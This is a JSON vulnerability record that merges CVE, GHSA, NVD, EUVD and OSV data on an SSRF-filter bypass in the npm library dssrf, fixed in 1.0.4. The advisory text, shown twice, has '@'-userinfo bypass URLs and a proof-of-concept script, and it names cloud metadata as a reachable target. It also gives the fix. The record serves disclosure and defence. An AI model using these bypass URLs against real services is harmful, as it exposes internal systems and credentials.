{"id":"CVE-2026-54722","aliases":["EUVD-2026-51232","GHSA-cg4g-m8jx-vjv2"],"status":"published","title":"dssrf: there a critical security bug with remove_at_symbol_in_string","description":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0057,"percentile":0.47624,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-76"],"published":"2026-07-30T16:26:52Z","modified":"2026-11-11T10:31:06Z","fixes":[{"ecosystem":"npm","package":"dssrf","fixed_in":["1.0.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"dssrf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.3"},{"fixed":"1.0.4"}]}]},{"source":"osv","ecosystem":"npm","package":"dssrf","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}]}],"products":[{"vendor":"hackingrepo","product":"dssrf-js"}],"references":[{"url":"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/HackingRepo/dssrf-js/issues/97","tags":["x_refsource_MISC","report","web"]},{"url":"https://github.com/HackingRepo/dssrf-js/pull/98","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54722","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cg4g-m8jx-vjv2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54722.json","tags":["advisory"]},{"url":"https://github.com/HackingRepo/dssrf-js","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-54722","title":"dssrf: there a critical security bug with remove_at_symbol_in_string","description":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.","status":"published","published":"2026-07-30T16:27:13.435Z","modified":"2026-07-30T17:29:31.55Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-76"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-51232","description":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.","status":"published","published":"2026-07-30T16:27:13Z","modified":"2026-07-30T17:29:31Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:02:28.035906Z"}],"ghsa":[{"id":"GHSA-cg4g-m8jx-vjv2","title":"dssrf has an SSRF bypass with remove_at_symbol_in_string","description":"## Summary\n\n`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.\n\n## Vulnerability\n\nIn `helpers.ts`, `is_url_safe` does:\n\n```ts\nu = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string\n// ...\nconst parsed = new URL(u);\nconst hostname = parsed.hostname;    // resolved from the corrupted string\n```\n\n### What happens step by step\n\nInput: `http://evil.com@127.0.0.1/`\n\n1. `remove_at_symbol_in_string` → `http://evil.com127.0.0.1/`\n2. `new URL(...)` → `hostname = \"evil.com127.0.0.1\"`\n3. Not a bare IP, not IPv6 → passes all IP checks\n4. `is_hostname_resolve_to_internal_ip(\"evil.com127.0.0.1\")` → NXDOMAIN → returns false\n5. **Result: `true` (safe)** — but any HTTP client using the *original* URL connects to `127.0.0.1`\n\n### Proof of Concept\n\n```js\nimport nock from 'nock';\nimport { got } from 'got';\nimport { is_url_safe } from 'dssrf';\n\n// Simulate an internal server at 10.0.0.1 that returns secret data\nnock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');\n\nconst BYPASS_URL = 'http://2@10.0.0.1/';\nconst PLAIN_URL  = 'http://10.0.0.1/';\n\n// dssrf should block both — it only blocks the plain one\nconsole.log('--- dssrf validator ---');\nconsole.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');\nconsole.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');\n\n// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1\nconsole.log('\\n--- HTTP client ---');\ntry {\n  const res = await got(BYPASS_URL, { retry: { limit: 0 } });\n  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');\n} catch (e) {\n  console.log(`got('${BYPASS_URL}') blocked:`, e.message);\n}\n```\n\n## Root Cause\n\n`@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing.\n\n## Suggested Fix\n\nRemove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`:\n\n```ts\nconst parsed = new URL(u);\n\n// Reject userinfo — '@' in authority is a classic SSRF bypass vector\nif (parsed.username !== \"\" || parsed.password !== \"\") {\n  return false;\n}\n```\n\nA working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.\n\n## Impact\n\n- **Affected version**: 1.0.3 (latest)\n- **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix\n- **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix\n\n\nUsers are strongly advised to upgrade to dssrf 1.0.4","status":"published","published":"2026-07-30T16:26:52Z","modified":"2026-07-30T21:23:16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-76"],"updated_at":"2026-11-02T14:40:54.767849Z"}],"nvd":[{"id":"CVE-2026-54722","description":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.","status":"published","published":"2026-07-30T17:16:33.18Z","modified":"2026-10-23T22:10:00.16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-76"],"updated_at":"2026-11-02T14:12:33.955581Z"}],"osv":[{"id":"CVE-2026-54722","title":"dssrf: there a critical security bug with remove_at_symbol_in_string","description":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.","status":"published","published":"2026-07-30T16:27:13.435Z","modified":"2026-11-11T10:31:06.529310947Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-76"],"updated_at":"2026-11-11T11:06:48.650013Z"},{"id":"GHSA-cg4g-m8jx-vjv2","title":"dssrf has an SSRF bypass with remove_at_symbol_in_string","description":"## Summary\n\n`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.\n\n## Vulnerability\n\nIn `helpers.ts`, `is_url_safe` does:\n\n```ts\nu = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string\n// ...\nconst parsed = new URL(u);\nconst hostname = parsed.hostname;    // resolved from the corrupted string\n```\n\n### What happens step by step\n\nInput: `http://evil.com@127.0.0.1/`\n\n1. `remove_at_symbol_in_string` → `http://evil.com127.0.0.1/`\n2. `new URL(...)` → `hostname = \"evil.com127.0.0.1\"`\n3. Not a bare IP, not IPv6 → passes all IP checks\n4. `is_hostname_resolve_to_internal_ip(\"evil.com127.0.0.1\")` → NXDOMAIN → returns false\n5. **Result: `true` (safe)** — but any HTTP client using the *original* URL connects to `127.0.0.1`\n\n### Proof of Concept\n\n```js\nimport nock from 'nock';\nimport { got } from 'got';\nimport { is_url_safe } from 'dssrf';\n\n// Simulate an internal server at 10.0.0.1 that returns secret data\nnock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');\n\nconst BYPASS_URL = 'http://2@10.0.0.1/';\nconst PLAIN_URL  = 'http://10.0.0.1/';\n\n// dssrf should block both — it only blocks the plain one\nconsole.log('--- dssrf validator ---');\nconsole.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');\nconsole.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');\n\n// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1\nconsole.log('\\n--- HTTP client ---');\ntry {\n  const res = await got(BYPASS_URL, { retry: { limit: 0 } });\n  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');\n} catch (e) {\n  console.log(`got('${BYPASS_URL}') blocked:`, e.message);\n}\n```\n\n## Root Cause\n\n`@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing.\n\n## Suggested Fix\n\nRemove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`:\n\n```ts\nconst parsed = new URL(u);\n\n// Reject userinfo — '@' in authority is a classic SSRF bypass vector\nif (parsed.username !== \"\" || parsed.password !== \"\") {\n  return false;\n}\n```\n\nA working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.\n\n## Impact\n\n- **Affected version**: 1.0.3 (latest)\n- **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix\n- **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix\n\n\nUsers are strongly advised to upgrade to dssrf 1.0.4","status":"published","published":"2026-07-30T16:26:52Z","modified":"2026-07-30T21:30:38.761936138Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-76"],"updated_at":"2026-11-02T15:46:44.927642Z"}]}}
